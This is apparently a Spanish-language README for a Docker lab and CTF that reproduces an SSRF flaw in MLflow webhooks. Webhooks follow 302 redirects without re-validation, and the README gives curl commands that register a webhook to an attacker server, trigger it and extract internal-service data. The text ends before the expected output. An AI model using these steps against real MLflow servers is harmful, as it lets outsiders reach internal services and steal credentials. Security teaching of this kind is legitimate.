
este laboratorio puede estar bien o mal pregúntale a la IA estoy probando pero debe funcionar hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratorio práctico y reproduce el CVE-2026-64849: una vulnerabilidad de
tipo SSRF en MLflow causada por un defecto TOCTOU (Time-of-Check /
Time-of-Use) en el manejo de webhooks. MLflow valida la URL original del
webhook pero sigue redirects HTTP (302) sin re-validar el destino, lo que
permite a un atacante sin autenticación alcanzar servicios internos a los que
no debería tener acceso (internal-service:8888).
Uso restringido: material de laboratorio, únicamente para redes y entornos autorizados. Ver Aviso legal.
| Atributo | Valor |
|---|---|
| Vulnerabilidad | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Componente afectado | MLflow Tracking Server (< 3.15.0) |
| Versión del lab | MLflow 3.13.0 (sin modificar, vía pip install) |
| Causa raíz | TOCTOU: valida la URL, sigue el 302 sin re-validar |
| Vector | HTTP; sin autenticación |
| Severidad declarada | CRÍTICA (CVSS 9.3) — según banner del exploit del lab |
| Resultado | Acceso a servicios internos, robo de credenciales, port scanning |
| Duración estimada | 15–20 minutos |
| Nivel | Intermedio (Web App Security / Offensive Security) |
MLflow permite registrar webhooks que disparan peticiones HTTP ante eventos (datos de modelos, experimentos, etc.). Antes de guardar la URL se aplica una validación (esquema, IPs privadas, metadata IP). El fallo ocurre porque:
3xx, la librería
requests sigue el redirect automáticamente y nunca re-validan la URL
de destino.El atacante controla el primer salto (un servidor que responde 302 a un
servicio interno) y MLflow hace de proxy hacia la red interna.
Ver análisis técnico completo en EXPLOITATION_GUIDE.md §6.
Al finalizar el lab el estudiante será capaz de:
/test y
exfiltración del servicio interno.Público: estudiantes y profesionales de seguridad ofensiva, pentesters, revisores de seguridad de aplicaciones, y desarrolladores que usan MLflow.
Requisitos de software:
| Herramienta | Versión mínima |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
No se requieren credenciales ni autenticación en MLflow (el ataque es unauthenticated). No es necesario acceso a la red interna: el lab la proporciona.
host red interna de Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ atacante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, sigue el redirect) │
│ │ │ internal-service (8888) ← SIN puertos al │
│ │ │ "/admin/secret" host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Componente | Puerto | Rol en el lab | ¿Modificado? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Víctima / cliente vulnerable (MLflow 3.13.0 stock) | No |
attacker-server | 8080 | Servidor del atacante: /webhook → 302, /redirect?url=, /metadata, dashboard | Solo do_HEAD |
internal-service | 8888 | Víctima en lab_network; /admin/secret y /api/internal/config | No |
Detalle de integridad: el servicio vulnerable y el servicio interno no han sido modificados. Ver EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # levanta los 3 contenedores y espera a MLflow
bash run_lab.sh exploit # explota automáticamente (SSRF → bandera del Nivel 1)
Demo guiada paso a paso (menú interactivo):
bash manual_exploitation_interactive.sh
🏁 Modalidad CTF (resolución MANUAL): el lab es un reto por niveles. Cada
bandera te deja la pista del siguiente nivel, así llegar a cada flag "tiene
sentido". Y el chiste es hacerlo a mano: ctf_lab.sh no explota por ti,
solo te guía y valida tu flag:
bash ctf_lab.sh # menú interactivo del CTF
bash ctf_lab.sh nivel 1 # instrucciones + pista del nivel (comandos para EJECUTAR TÚ MANUALMENTE)
bash ctf_lab.sh flag '<flag>' # validar el flag que exfiltraste y decodificaste (+pts)
bash ctf_lab.sh status # niveles completados + puntuación (235 pts, sin mostrar flags)
bash ctf_lab.sh hint 2 # pista de un nivel
bash ctf_lab.sh reset # borrar progreso
Referencias del script run_lab.sh:
bash run_lab.sh start # start (default) + status endpoint
bash run_lab.sh exploit # ejecuta exploit.py dentro del contenedor mlflow
bash run_lab.sh manual # muestra los comandos curl paso a paso
bash run_lab.sh logs # sigue los logs en tiempo real
bash run_lab.sh stop # detiene contenedores
bash run_lab.sh clean # detiene y elimina datos del lab
Todas las llamadas a
/testrequieren el headerContent-Type: application/json; sin él, MLflow 3.13 responde400 Bad Request.
# 1. Crear el webhook apuntando al servidor del atacante (redirige a la raíz del portal interno, Nivel 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Disparar /test → MLflow valida la URL, sigue el 302 hasta el servicio interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extraer los datos exfiltrados (anidados en result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Resultado esperado del paso 3 (Nivel 1 del CTF):